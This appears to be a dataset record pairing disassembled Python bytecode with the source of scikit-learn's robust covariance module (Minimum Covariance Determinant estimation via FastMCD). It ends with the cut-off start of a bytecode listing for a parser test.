EllipticEnvelope : An object for detecting outliers in\n a Gaussian distributed dataset.\n EmpiricalCovariance : Maximum likelihood covariance estimator.\n GraphicalLasso : Sparse inverse covariance estimation\n with an l1-penalized estimator.\n GraphicalLassoCV : Sparse inverse covariance with cross-validated\n choice of the l1 penalty.\n LedoitWolf : LedoitWolf Estimator.\n OAS : Oracle Approximating Shrinkage Estimator.\n ShrunkCovariance : Covariance estimator with shrinkage.\n\n References\n ----------\n\n .. [Rouseeuw1984] P. J. Rousseeuw. Least median of squares regression.\n J. Am Stat Ass, 79:871, 1984.\n .. [Rousseeuw] A Fast Algorithm for the Minimum Covariance Determinant\n Estimator, 1999, American Statistical Association and the American\n Society for Quality, TECHNOMETRICS\n .. [ButlerDavies] R. W. Butler, P. L. Davies and M. Jhun,\n Asymptotics For The Minimum Covariance Determinant Estimator,\n The Annals of Statistics, 1993, Vol. 21, No. 3, 1385-1400\n\n Examples\n --------\n >>> import numpy as np\n >>> from sklearn.covariance import MinCovDet\n >>> from sklearn.datasets import make_gaussian_quantiles\n >>> real_cov = np.array([[.8, .3],\n ... [.3, .4]])\n >>> rng = np.random.RandomState(0)\n >>> X = rng.multivariate_normal(mean=[0, 0],\n ... cov=real_cov,\n ... size=500)\n >>> cov = MinCovDet(random_state=0).fit(X)\n >>> cov.covariance_\n array([[0.7411..., 0.2535...],\n [0.2535..., 0.3053...]])\n >>> cov.location_\n array([0.0813... , 0.0427...])\n ' STORE_NAME __doc__ LOAD_NAME EmpiricalCovariance LOAD_ATTR _parameter_constraints LOAD_NAME Interval LOAD_NAME Real LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 'right' LOAD_CONST ('closed',) CALL_FUNCTION LOAD_CONST None BUILD_LIST LOAD_CONST 'random_state' BUILD_LIST LOAD_CONST ('support_fraction', 'random_state') BUILD_CONST_KEY_MAP BUILD_MAP STORE_NAME _parameter_constraints LOAD_NAME dict LOAD_NAME __annotations__ LOAD_CONST '_parameter_constraints' STORE_SUBSCR LOAD_NAME staticmethod LOAD_NAME empirical_covariance CALL_FUNCTION STORE_NAME _nonrobust_covariance LOAD_CONST True LOAD_CONST False LOAD_CONST None LOAD_CONST None LOAD_CONST ('store_precision', 'assume_centered', 'support_fraction', 'random_state') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab41c969c0, file "f.py", line 657> LOAD_CONST 'MinCovDet.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME _fit_context LOAD_CONST True LOAD_CONST ('prefer_skip_nested_validation',) CALL_FUNCTION LOAD_CONST (None,) LOAD_CONST <code object fit at 0x7fab41c96f60, file "f.py", line 670> LOAD_CONST 'MinCovDet.fit' MAKE_FUNCTION CALL_FUNCTION STORE_NAME fit LOAD_CONST <code object correct_covariance at 0x7fab41c96ae0, file "f.py", line 719> LOAD_CONST 'MinCovDet.correct_covariance' MAKE_FUNCTION STORE_NAME correct_covariance LOAD_CONST <code object reweight_covariance at 0x7fab41c96390, file "f.py", line 757> LOAD_CONST 'MinCovDet.reweight_covariance' MAKE_FUNCTION STORE_NAME reweight_covariance LOAD_CONST None RETURN_VALUE LOAD_FAST store_precision LOAD_FAST self STORE_ATTR store_precision LOAD_FAST assume_centered LOAD_FAST self STORE_ATTR assume_centered LOAD_FAST support_fraction LOAD_FAST self STORE_ATTR support_fraction LOAD_FAST random_state LOAD_FAST self STORE_ATTR random_state LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _validate_data LOAD_FAST X LOAD_CONST 2 LOAD_CONST 'MinCovDet' LOAD_CONST ('ensure_min_samples', 'estimator') CALL_FUNCTION STORE_FAST X LOAD_GLOBAL check_random_state LOAD_FAST self LOAD_ATTR random_state CALL_FUNCTION STORE_FAST random_state LOAD_FAST X LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST n_samples STORE_FAST n_features LOAD_GLOBAL linalg LOAD_METHOD svdvals LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST X LOAD_ATTR T LOAD_FAST X CALL_METHOD CALL_METHOD LOAD_CONST 1e-08 COMPARE_OP > LOAD_METHOD sum CALL_METHOD LOAD_FAST n_features COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'The covariance matrix associated to your dataset is not full rank' CALL_METHOD POP_TOP LOAD_GLOBAL fast_mcd LOAD_FAST X LOAD_FAST self LOAD_ATTR support_fraction LOAD_FAST self LOAD_ATTR _nonrobust_covariance LOAD_FAST random_state LOAD_CONST ('support_fraction', 'cov_computation_method', 'random_state') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST raw_location STORE_FAST raw_covariance STORE_FAST raw_support STORE_FAST raw_dist LOAD_FAST self LOAD_ATTR assume_centered POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST n_features CALL_METHOD STORE_FAST raw_location LOAD_FAST self LOAD_ATTR _nonrobust_covariance LOAD_FAST X LOAD_FAST raw_support BINARY_SUBSCR LOAD_CONST True LOAD_CONST ('assume_centered',) CALL_FUNCTION STORE_FAST raw_covariance LOAD_GLOBAL linalg LOAD_METHOD pinvh LOAD_FAST raw_covariance CALL_METHOD STORE_FAST precision LOAD_GLOBAL np LOAD_METHOD sum LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST X LOAD_FAST precision CALL_METHOD LOAD_FAST X BINARY_MULTIPLY LOAD_CONST 1 CALL_METHOD STORE_FAST raw_dist LOAD_FAST raw_location LOAD_FAST self STORE_ATTR raw_location_ LOAD_FAST raw_covariance LOAD_FAST self STORE_ATTR raw_covariance_ LOAD_FAST raw_support LOAD_FAST self STORE_ATTR raw_support_ LOAD_FAST raw_location LOAD_FAST self STORE_ATTR location_ LOAD_FAST raw_support LOAD_FAST self STORE_ATTR support_ LOAD_FAST raw_dist LOAD_FAST self STORE_ATTR dist_ LOAD_FAST self LOAD_METHOD correct_covariance LOAD_FAST X CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD reweight_covariance LOAD_FAST X CALL_METHOD POP_TOP LOAD_FAST self RETURN_VALUE LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR dist_ CALL_FUNCTION STORE_FAST n_samples LOAD_GLOBAL np LOAD_METHOD sum LOAD_FAST self LOAD_ATTR support_ CALL_METHOD STORE_FAST n_support LOAD_FAST n_support LOAD_FAST n_samples COMPARE_OP < POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD allclose LOAD_FAST self LOAD_ATTR raw_covariance_ LOAD_CONST 0 CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'The covariance matrix of the support data is equal to 0, try to increase support_fraction' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL np LOAD_METHOD median LOAD_FAST self LOAD_ATTR dist_ CALL_METHOD LOAD_GLOBAL chi2 LOAD_FAST data LOAD_ATTR shape LOAD_CONST 1 BINARY_SUBSCR CALL_FUNCTION LOAD_METHOD isf LOAD_CONST 0.5 CALL_METHOD BINARY_TRUE_DIVIDE STORE_FAST correction LOAD_FAST self LOAD_ATTR raw_covariance_ LOAD_FAST correction BINARY_MULTIPLY STORE_FAST covariance_corrected LOAD_FAST self DUP_TOP LOAD_ATTR dist_ LOAD_FAST correction INPLACE_TRUE_DIVIDE ROT_TWO STORE_ATTR dist_ LOAD_FAST covariance_corrected RETURN_VALUE LOAD_FAST data LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST n_samples STORE_FAST n_features LOAD_FAST self LOAD_ATTR dist_ LOAD_GLOBAL chi2 LOAD_FAST n_features CALL_FUNCTION LOAD_METHOD isf LOAD_CONST 0.025 CALL_METHOD COMPARE_OP < STORE_FAST mask LOAD_FAST self LOAD_ATTR assume_centered POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST n_features CALL_METHOD STORE_FAST location_reweighted JUMP_FORWARD to 62 LOAD_FAST data LOAD_FAST mask BINARY_SUBSCR LOAD_METHOD mean LOAD_CONST 0 CALL_METHOD STORE_FAST location_reweighted LOAD_FAST self LOAD_ATTR _nonrobust_covariance LOAD_FAST data LOAD_FAST mask BINARY_SUBSCR LOAD_FAST self LOAD_ATTR assume_centered LOAD_CONST ('assume_centered',) CALL_FUNCTION STORE_FAST covariance_reweighted LOAD_GLOBAL np LOAD_ATTR zeros LOAD_FAST n_samples LOAD_GLOBAL bool LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST support_reweighted LOAD_CONST True LOAD_FAST support_reweighted LOAD_FAST mask STORE_SUBSCR LOAD_FAST self LOAD_METHOD _set_covariance LOAD_FAST covariance_reweighted CALL_METHOD POP_TOP LOAD_FAST location_reweighted LOAD_FAST self STORE_ATTR location_ LOAD_FAST support_reweighted LOAD_FAST self STORE_ATTR support_ LOAD_FAST data LOAD_FAST self LOAD_ATTR location_ BINARY_SUBTRACT STORE_FAST X_centered LOAD_GLOBAL np LOAD_METHOD sum LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST X_centered LOAD_FAST self LOAD_METHOD get_precision CALL_METHOD CALL_METHOD LOAD_FAST X_centered BINARY_MULTIPLY LOAD_CONST 1 CALL_METHOD LOAD_FAST self STORE_ATTR dist_ LOAD_FAST location_reweighted LOAD_FAST covariance_reweighted LOAD_FAST support_reweighted BUILD_TUPLE RETURN_VALUE
""" Robust location and covariance estimators. Here are implemented estimators that are resistant to outliers. """ import warnings from numbers import Integral, Real import numpy as np from scipy import linalg from scipy.stats import chi2 from ..base import _fit_context from ..utils import check_array, check_random_state from ..utils._param_validation import Interval from ..utils.extmath import fast_logdet from ._empirical_covariance import EmpiricalCovariance, empirical_covariance def c_step( X, n_support, remaining_iterations=30, initial_estimates=None, verbose=False, cov_computation_method=empirical_covariance, random_state=None, ): """C_step procedure described in [Rouseeuw1984]_ aiming at computing MCD. Parameters ---------- X : array-like of shape (n_samples, n_features) Data set in which we look for the n_support observations whose scatter matrix has minimum determinant. n_support : int Number of observations to compute the robust estimates of location and covariance from. This parameter must be greater than `n_samples / 2`. remaining_iterations : int, default=30 Number of iterations to perform. According to [Rouseeuw1999]_, two iterations are sufficient to get close to the minimum, and we never need more than 30 to reach convergence. initial_estimates : tuple of shape (2,), default=None Initial estimates of location and shape from which to run the c_step procedure: - initial_estimates[0]: an initial location estimate - initial_estimates[1]: an initial covariance estimate verbose : bool, default=False Verbose mode. cov_computation_method : callable, \ default=:func:`sklearn.covariance.empirical_covariance` The function which will be used to compute the covariance. Must return array of shape (n_features, n_features). random_state : int, RandomState instance or None, default=None Determines the pseudo random number generator for shuffling the data. Pass an int for reproducible results across multiple function calls. See :term:`Glossary <random_state>`. Returns ------- location : ndarray of shape (n_features,) Robust location estimates. covariance : ndarray of shape (n_features, n_features) Robust covariance estimates. support : ndarray of shape (n_samples,) A mask for the `n_support` observations whose scatter matrix has minimum determinant. References ---------- .. [Rouseeuw1999] A Fast Algorithm for the Minimum Covariance Determinant Estimator, 1999, American Statistical Association and the American Society for Quality, TECHNOMETRICS """ X = np.asarray(X) random_state = check_random_state(random_state) return _c_step( X, n_support, remaining_iterations=remaining_iterations, initial_estimates=initial_estimates, verbose=verbose, cov_computation_method=cov_computation_method, random_state=random_state, ) def _c_step( X, n_support, random_state, remaining_iterations=30, initial_estimates=None, verbose=False, cov_computation_method=empirical_covariance, ): n_samples, n_features = X.shape dist = np.inf support = np.zeros(n_samples, dtype=bool) if initial_estimates is None: support[random_state.permutation(n_samples)[:n_support]] = True else: location = initial_estimates[0] covariance = initial_estimates[1] precision = linalg.pinvh(covariance) X_centered = X - location dist = (np.dot(X_centered, precision) * X_centered).sum(1) support[np.argsort(dist)[:n_support]] = True X_support = X[support] location = X_support.mean(0) covariance = cov_computation_method(X_support) det = fast_logdet(covariance) if np.isinf(det): precision = linalg.pinvh(covariance) previous_det = np.inf while det < previous_det and remaining_iterations > 0 and not np.isinf(det): previous_location = location previous_covariance = covariance previous_det = det previous_support = support precision = linalg.pinvh(covariance) X_centered = X - location dist = (np.dot(X_centered, precision) * X_centered).sum(axis=1) support = np.zeros(n_samples, dtype=bool) support[np.argsort(dist)[:n_support]] = True X_support = X[support] location = X_support.mean(axis=0) covariance = cov_computation_method(X_support) det = fast_logdet(covariance) remaining_iterations -= 1 previous_dist = dist dist = (np.dot(X - location, precision) * (X - location)).sum(axis=1) if np.isinf(det): results = location, covariance, det, support, dist if np.allclose(det, previous_det): if verbose: print( "Optimal couple (location, covariance) found before" " ending iterations (%d left)" % (remaining_iterations) ) results = location, covariance, det, support, dist elif det > previous_det: warnings.warn( "Determinant has increased; this should not happen: " "log(det) > log(previous_det) (%.15f > %.15f). " "You may want to try with a higher value of " "support_fraction (current value: %.3f)." % (det, previous_det, n_support / n_samples), RuntimeWarning, ) results = ( previous_location, previous_covariance, previous_det, previous_support, previous_dist, ) if remaining_iterations == 0: if verbose: print("Maximum number of iterations reached") results = location, covariance, det, support, dist return results def select_candidates( X, n_support, n_trials, select=1, n_iter=30, verbose=False, cov_computation_method=empirical_covariance, random_state=None, ): """Finds the best pure subset of observations to compute MCD from it. The purpose of this function is to find the best sets of n_support observations with respect to a minimization of their covariance matrix determinant. Equivalently, it removes n_samples-n_support observations to construct what we call a pure data set (i.e. not containing outliers). The list of the observations of the pure data set is referred to as the `support`. Starting from a random support, the pure data set is found by the c_step procedure introduced by Rousseeuw and Van Driessen in [RV]_. Parameters ---------- X : array-like of shape (n_samples, n_features) Data (sub)set in which we look for the n_support purest observations. n_support : int The number of samples the pure data set must contain. This parameter must be in the range `[(n + p + 1)/2] < n_support < n`. n_trials : int or tuple of shape (2,) Number of different initial sets of observations from which to run the algorithm. This parameter should be a strictly positive integer. Instead of giving a number of trials to perform, one can provide a list of initial estimates that will be used to iteratively run c_step procedures. In this case: - n_trials[0]: array-like, shape (n_trials, n_features) is the list of `n_trials` initial location estimates - n_trials[1]: array-like, shape (n_trials, n_features, n_features) is the list of `n_trials` initial covariances estimates select : int, default=1 Number of best candidates results to return. This parameter must be a strictly positive integer. n_iter : int, default=30 Maximum number of iterations for the c_step procedure. (2 is enough to be close to the final solution. "Never" exceeds 20). This parameter must be a strictly positive integer. verbose : bool, default=False Control the output verbosity. cov_computation_method : callable, \ default=:func:`sklearn.covariance.empirical_covariance` The function which will be used to compute the covariance. Must return an array of shape (n_features, n_features). random_state : int, RandomState instance or None, default=None Determines the pseudo random number generator for shuffling the data. Pass an int for reproducible results across multiple function calls. See :term:`Glossary <random_state>`. See Also --------- c_step Returns ------- best_locations : ndarray of shape (select, n_features) The `select` location estimates computed from the `select` best supports found in the data set (`X`). best_covariances : ndarray of shape (select, n_features, n_features) The `select` covariance estimates computed from the `select` best supports found in the data set (`X`). best_supports : ndarray of shape (select, n_samples) The `select` best supports found in the data set (`X`). References ---------- .. [RV] A Fast Algorithm for the Minimum Covariance Determinant Estimator, 1999, American Statistical Association and the American Society for Quality, TECHNOMETRICS """ random_state = check_random_state(random_state) if isinstance(n_trials, Integral): run_from_estimates = False elif isinstance(n_trials, tuple): run_from_estimates = True estimates_list = n_trials n_trials = estimates_list[0].shape[0] else: raise TypeError( "Invalid 'n_trials' parameter, expected tuple or integer, got %s (%s)" % (n_trials, type(n_trials)) ) all_estimates = [] if not run_from_estimates: for j in range(n_trials): all_estimates.append( _c_step( X, n_support, remaining_iterations=n_iter, verbose=verbose, cov_computation_method=cov_computation_method, random_state=random_state, ) ) else: for j in range(n_trials): initial_estimates = (estimates_list[0][j], estimates_list[1][j]) all_estimates.append( _c_step( X, n_support, remaining_iterations=n_iter, initial_estimates=initial_estimates, verbose=verbose, cov_computation_method=cov_computation_method, random_state=random_state, ) ) all_locs_sub, all_covs_sub, all_dets_sub, all_supports_sub, all_ds_sub = zip( *all_estimates ) index_best = np.argsort(all_dets_sub)[:select] best_locations = np.asarray(all_locs_sub)[index_best] best_covariances = np.asarray(all_covs_sub)[index_best] best_supports = np.asarray(all_supports_sub)[index_best] best_ds = np.asarray(all_ds_sub)[index_best] return best_locations, best_covariances, best_supports, best_ds def fast_mcd( X, support_fraction=None, cov_computation_method=empirical_covariance, random_state=None, ): """Estimate the Minimum Covariance Determinant matrix. Read more in the :ref:`User Guide <robust_covariance>`. Parameters ---------- X : array-like of shape (n_samples, n_features) The data matrix, with p features and n samples. support_fraction : float, default=None The proportion of points to be included in the support of the raw MCD estimate. Default is `None`, which implies that the minimum value of `support_fraction` will be used within the algorithm: `(n_samples + n_features + 1) / 2 * n_samples`. This parameter must be in the range (0, 1). cov_computation_method : callable, \ default=:func:`sklearn.covariance.empirical_covariance` The function which will be used to compute the covariance. Must return an array of shape (n_features, n_features). random_state : int, RandomState instance or None, default=None Determines the pseudo random number generator for shuffling the data. Pass an int for reproducible results across multiple function calls. See :term:`Glossary <random_state>`. Returns ------- location : ndarray of shape (n_features,) Robust location of the data. covariance : ndarray of shape (n_features, n_features) Robust covariance of the features. support : ndarray of shape (n_samples,), dtype=bool A mask of the observations that have been used to compute the robust location and covariance estimates of the data set. Notes ----- The FastMCD algorithm has been introduced by Rousseuw and Van Driessen in "A Fast Algorithm for the Minimum Covariance Determinant Estimator, 1999, American Statistical Association and the American Society for Quality, TECHNOMETRICS". The principle is to compute robust estimates and random subsets before pooling them into a larger subsets, and finally into the full data set. Depending on the size of the initial sample, we have one, two or three such computation levels. Note that only raw estimates are returned. If one is interested in the correction and reweighting steps described in [RouseeuwVan]_, see the MinCovDet object. References ---------- .. [RouseeuwVan] A Fast Algorithm for the Minimum Covariance Determinant Estimator, 1999, American Statistical Association and the American Society for Quality, TECHNOMETRICS .. [Butler1993] R. W. Butler, P. L. Davies and M. Jhun, Asymptotics For The Minimum Covariance Determinant Estimator, The Annals of Statistics, 1993, Vol. 21, No. 3, 1385-1400 """ random_state = check_random_state(random_state) X = check_array(X, ensure_min_samples=2, estimator="fast_mcd") n_samples, n_features = X.shape if support_fraction is None: n_support = int(np.ceil(0.5 * (n_samples + n_features + 1))) else: n_support = int(support_fraction * n_samples) if n_features == 1: if n_support < n_samples: X_sorted = np.sort(np.ravel(X)) diff = X_sorted[n_support:] - X_sorted[: (n_samples - n_support)] halves_start = np.where(diff == np.min(diff))[0] location = ( 0.5 * (X_sorted[n_support + halves_start] + X_sorted[halves_start]).mean() ) support = np.zeros(n_samples, dtype=bool) X_centered = X - location support[np.argsort(np.abs(X_centered), 0)[:n_support]] = True covariance = np.asarray([[np.var(X[support])]]) location = np.array([location]) precision = linalg.pinvh(covariance) dist = (np.dot(X_centered, precision) * (X_centered)).sum(axis=1) else: support = np.ones(n_samples, dtype=bool) covariance = np.asarray([[np.var(X)]]) location = np.asarray([np.mean(X)]) X_centered = X - location precision = linalg.pinvh(covariance) dist = (np.dot(X_centered, precision) * (X_centered)).sum(axis=1) if (n_samples > 500) and (n_features > 1): n_subsets = n_samples // 300 n_samples_subsets = n_samples // n_subsets samples_shuffle = random_state.permutation(n_samples) h_subset = int(np.ceil(n_samples_subsets * (n_support / float(n_samples)))) n_trials_tot = 500 n_best_sub = 10 n_trials = max(10, n_trials_tot // n_subsets) n_best_tot = n_subsets * n_best_sub all_best_locations = np.zeros((n_best_tot, n_features)) try: all_best_covariances = np.zeros((n_best_tot, n_features, n_features)) except MemoryError: n_best_tot = 10 all_best_covariances = np.zeros((n_best_tot, n_features, n_features)) n_best_sub = 2 for i in range(n_subsets): low_bound = i * n_samples_subsets high_bound = low_bound + n_samples_subsets current_subset = X[samples_shuffle[low_bound:high_bound]] best_locations_sub, best_covariances_sub, _, _ = select_candidates( current_subset, h_subset, n_trials, select=n_best_sub, n_iter=2, cov_computation_method=cov_computation_method, random_state=random_state, ) subset_slice = np.arange(i * n_best_sub, (i + 1) * n_best_sub) all_best_locations[subset_slice] = best_locations_sub all_best_covariances[subset_slice] = best_covariances_sub n_samples_merged = min(1500, n_samples) h_merged = int(np.ceil(n_samples_merged * (n_support / float(n_samples)))) if n_samples > 1500: n_best_merged = 10 else: n_best_merged = 1 selection = random_state.permutation(n_samples)[:n_samples_merged] locations_merged, covariances_merged, supports_merged, d = select_candidates( X[selection], h_merged, n_trials=(all_best_locations, all_best_covariances), select=n_best_merged, cov_computation_method=cov_computation_method, random_state=random_state, ) if n_samples < 1500: location = locations_merged[0] covariance = covariances_merged[0] support = np.zeros(n_samples, dtype=bool) dist = np.zeros(n_samples) support[selection] = supports_merged[0] dist[selection] = d[0] else: locations_full, covariances_full, supports_full, d = select_candidates( X, n_support, n_trials=(locations_merged, covariances_merged), select=1, cov_computation_method=cov_computation_method, random_state=random_state, ) location = locations_full[0] covariance = covariances_full[0] support = supports_full[0] dist = d[0] elif n_features > 1: n_trials = 30 n_best = 10 locations_best, covariances_best, _, _ = select_candidates( X, n_support, n_trials=n_trials, select=n_best, n_iter=2, cov_computation_method=cov_computation_method, random_state=random_state, ) locations_full, covariances_full, supports_full, d = select_candidates( X, n_support, n_trials=(locations_best, covariances_best), select=1, cov_computation_method=cov_computation_method, random_state=random_state, ) location = locations_full[0] covariance = covariances_full[0] support = supports_full[0] dist = d[0] return location, covariance, support, dist class MinCovDet(EmpiricalCovariance): """Minimum Covariance Determinant (MCD): robust estimator of covariance. The Minimum Covariance Determinant covariance estimator is to be applied on Gaussian-distributed data, but could still be relevant on data drawn from a unimodal, symmetric distribution. It is not meant to be used with multi-modal data (the algorithm used to fit a MinCovDet object is likely to fail in such a case). One should consider projection pursuit methods to deal with multi-modal datasets. Read more in the :ref:`User Guide <robust_covariance>`. Parameters ---------- store_precision : bool, default=True Specify if the estimated precision is stored. assume_centered : bool, default=False If True, the support of the robust location and the covariance estimates is computed, and a covariance estimate is recomputed from it, without centering the data. Useful to work with data whose mean is significantly equal to zero but is not exactly zero. If False, the robust location and covariance are directly computed with the FastMCD algorithm without additional treatment. support_fraction : float, default=None The proportion of points to be included in the support of the raw MCD estimate. Default is None, which implies that the minimum value of support_fraction will be used within the algorithm: `(n_samples + n_features + 1) / 2 * n_samples`. The parameter must be in the range (0, 1]. random_state : int, RandomState instance or None, default=None Determines the pseudo random number generator for shuffling the data. Pass an int for reproducible results across multiple function calls. See :term:`Glossary <random_state>`. Attributes ---------- raw_location_ : ndarray of shape (n_features,) The raw robust estimated location before correction and re-weighting. raw_covariance_ : ndarray of shape (n_features, n_features) The raw robust estimated covariance before correction and re-weighting. raw_support_ : ndarray of shape (n_samples,) A mask of the observations that have been used to compute the raw robust estimates of location and shape, before correction and re-weighting. location_ : ndarray of shape (n_features,) Estimated robust location. covariance_ : ndarray of shape (n_features, n_features) Estimated robust covariance matrix. precision_ : ndarray of shape (n_features, n_features) Estimated pseudo inverse matrix. (stored only if store_precision is True) support_ : ndarray of shape (n_samples,) A mask of the observations that have been used to compute the robust estimates of location and shape. dist_ : ndarray of shape (n_samples,) Mahalanobis distances of the training set (on which :meth:`fit` is called) observations. n_features_in_ : int Number of features seen during :term:`fit`. .. versionadded:: 0.24 feature_names_in_ : ndarray of shape (`n_features_in_`,) Names of features seen during :term:`fit`. Defined only when `X` has feature names that are all strings. .. versionadded:: 1.0 See Also -------- EllipticEnvelope : An object for detecting outliers in a Gaussian distributed dataset. EmpiricalCovariance : Maximum likelihood covariance estimator. GraphicalLasso : Sparse inverse covariance estimation with an l1-penalized estimator. GraphicalLassoCV : Sparse inverse covariance with cross-validated choice of the l1 penalty. LedoitWolf : LedoitWolf Estimator. OAS : Oracle Approximating Shrinkage Estimator. ShrunkCovariance : Covariance estimator with shrinkage. References ---------- .. [Rouseeuw1984] P. J. Rousseeuw. Least median of squares regression. J. Am Stat Ass, 79:871, 1984. .. [Rousseeuw] A Fast Algorithm for the Minimum Covariance Determinant Estimator, 1999, American Statistical Association and the American Society for Quality, TECHNOMETRICS .. [ButlerDavies] R. W. Butler, P. L. Davies and M. Jhun, Asymptotics For The Minimum Covariance Determinant Estimator, The Annals of Statistics, 1993, Vol. 21, No. 3, 1385-1400 Examples -------- >>> import numpy as np >>> from sklearn.covariance import MinCovDet >>> from sklearn.datasets import make_gaussian_quantiles >>> real_cov = np.array([[.8, .3], ... [.3, .4]]) >>> rng = np.random.RandomState(0) >>> X = rng.multivariate_normal(mean=[0, 0], ... cov=real_cov, ... size=500) >>> cov = MinCovDet(random_state=0).fit(X) >>> cov.covariance_ array([[0.7411..., 0.2535...], [0.2535..., 0.3053...]]) >>> cov.location_ array([0.0813... , 0.0427...]) """ _parameter_constraints: dict = { **EmpiricalCovariance._parameter_constraints, "support_fraction": [Interval(Real, 0, 1, closed="right"), None], "random_state": ["random_state"], } _nonrobust_covariance = staticmethod(empirical_covariance) def __init__( self, *, store_precision=True, assume_centered=False, support_fraction=None, random_state=None, ): self.store_precision = store_precision self.assume_centered = assume_centered self.support_fraction = support_fraction self.random_state = random_state @_fit_context(prefer_skip_nested_validation=True) def fit(self, X, y=None): """Fit a Minimum Covariance Determinant with the FastMCD algorithm. Parameters ---------- X : array-like of shape (n_samples, n_features) Training data, where `n_samples` is the number of samples and `n_features` is the number of features. y : Ignored Not used, present for API consistency by convention. Returns ------- self : object Returns the instance itself. """ X = self._validate_data(X, ensure_min_samples=2, estimator="MinCovDet") random_state = check_random_state(self.random_state) n_samples, n_features = X.shape if (linalg.svdvals(np.dot(X.T, X)) > 1e-8).sum() != n_features: warnings.warn( "The covariance matrix associated to your dataset is not full rank" ) raw_location, raw_covariance, raw_support, raw_dist = fast_mcd( X, support_fraction=self.support_fraction, cov_computation_method=self._nonrobust_covariance, random_state=random_state, ) if self.assume_centered: raw_location = np.zeros(n_features) raw_covariance = self._nonrobust_covariance( X[raw_support], assume_centered=True ) precision = linalg.pinvh(raw_covariance) raw_dist = np.sum(np.dot(X, precision) * X, 1) self.raw_location_ = raw_location self.raw_covariance_ = raw_covariance self.raw_support_ = raw_support self.location_ = raw_location self.support_ = raw_support self.dist_ = raw_dist self.correct_covariance(X) self.reweight_covariance(X) return self def correct_covariance(self, data): """Apply a correction to raw Minimum Covariance Determinant estimates. Correction using the empirical correction factor suggested by Rousseeuw and Van Driessen in [RVD]_. Parameters ---------- data : array-like of shape (n_samples, n_features) The data matrix, with p features and n samples. The data set must be the one which was used to compute the raw estimates. Returns ------- covariance_corrected : ndarray of shape (n_features, n_features) Corrected robust covariance estimate. References ---------- .. [RVD] A Fast Algorithm for the Minimum Covariance Determinant Estimator, 1999, American Statistical Association and the American Society for Quality, TECHNOMETRICS """ n_samples = len(self.dist_) n_support = np.sum(self.support_) if n_support < n_samples and np.allclose(self.raw_covariance_, 0): raise ValueError( "The covariance matrix of the support data " "is equal to 0, try to increase support_fraction" ) correction = np.median(self.dist_) / chi2(data.shape[1]).isf(0.5) covariance_corrected = self.raw_covariance_ * correction self.dist_ /= correction return covariance_corrected def reweight_covariance(self, data): """Re-weight raw Minimum Covariance Determinant estimates. Re-weight observations using Rousseeuw's method (equivalent to deleting outlying observations from the data set before computing location and covariance estimates) described in [RVDriessen]_. Parameters ---------- data : array-like of shape (n_samples, n_features) The data matrix, with p features and n samples. The data set must be the one which was used to compute the raw estimates. Returns ------- location_reweighted : ndarray of shape (n_features,) Re-weighted robust location estimate. covariance_reweighted : ndarray of shape (n_features, n_features) Re-weighted robust covariance estimate. support_reweighted : ndarray of shape (n_samples,), dtype=bool A mask of the observations that have been used to compute the re-weighted robust location and covariance estimates. References ---------- .. [RVDriessen] A Fast Algorithm for the Minimum Covariance Determinant Estimator, 1999, American Statistical Association and the American Society for Quality, TECHNOMETRICS """ n_samples, n_features = data.shape mask = self.dist_ < chi2(n_features).isf(0.025) if self.assume_centered: location_reweighted = np.zeros(n_features) else: location_reweighted = data[mask].mean(0) covariance_reweighted = self._nonrobust_covariance( data[mask], assume_centered=self.assume_centered ) support_reweighted = np.zeros(n_samples, dtype=bool) support_reweighted[mask] = True self._set_covariance(covariance_reweighted) self.location_ = location_reweighted self.support_ = support_reweighted X_centered = data - self.location_ self.dist_ = np.sum(np.dot(X_centered, self.get_precision()) * X_centered, 1) return location_reweighted, covariance_reweighted, support_reweighted
data/scikit-learn-1.4.1.post1/sklearn/covariance/_robust_covariance.py
8,247
9,016
107,825
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST ('OrderedDict',) IMPORT_NAME collections IMPORT_FROM OrderedDict STORE_NAME OrderedDict POP_TOP LOAD_CONST 0 LOAD_CONST ('ParseException', 'SkipComponent') IMPORT_NAME insights.core.exceptions IMPORT_FROM ParseException STORE_NAME ParseException IMPORT_FROM SkipComponent STORE_NAME SkipComponent POP_TOP LOAD_CONST 0 LOAD_CONST ('calc_offset', 'keyword_search', 'optlist_to_dict', 'parse_delimited_table', 'parse_fixed_table', 'split_kv_pairs', 'unsplit_lines') IMPORT_NAME insights.parsers IMPORT_FROM calc_offset STORE_NAME calc_offset IMPORT_FROM keyword_search STORE_NAME keyword_search IMPORT_FROM optlist_to_dict STORE_NAME optlist_to_dict IMPORT_FROM parse_delimited_table STORE_NAME parse_delimited_table IMPORT_FROM parse_fixed_table STORE_NAME parse_fixed_table IMPORT_FROM split_kv_pairs STORE_NAME split_kv_pairs IMPORT_FROM unsplit_lines STORE_NAME unsplit_lines POP_TOP LOAD_CONST '\n\n keyword1 = value1 # Inline comments\n\n keyword3 # Key with no separator\n keyword2 = value2a=True, value2b=100M\n\n' LOAD_METHOD strip CALL_METHOD STORE_NAME SPLIT_TEST_1 LOAD_NAME OrderedDict LOAD_CONST ('keyword1', 'value1') LOAD_CONST ('keyword3', '') LOAD_CONST ('keyword2', 'value2a=True, value2b=100M') BUILD_LIST CALL_FUNCTION STORE_NAME SPLIT_TEST_1_OD LOAD_CONST '\n@ Comment line\n\n keyword1: value1 @ Inline comments\n keyword2 : 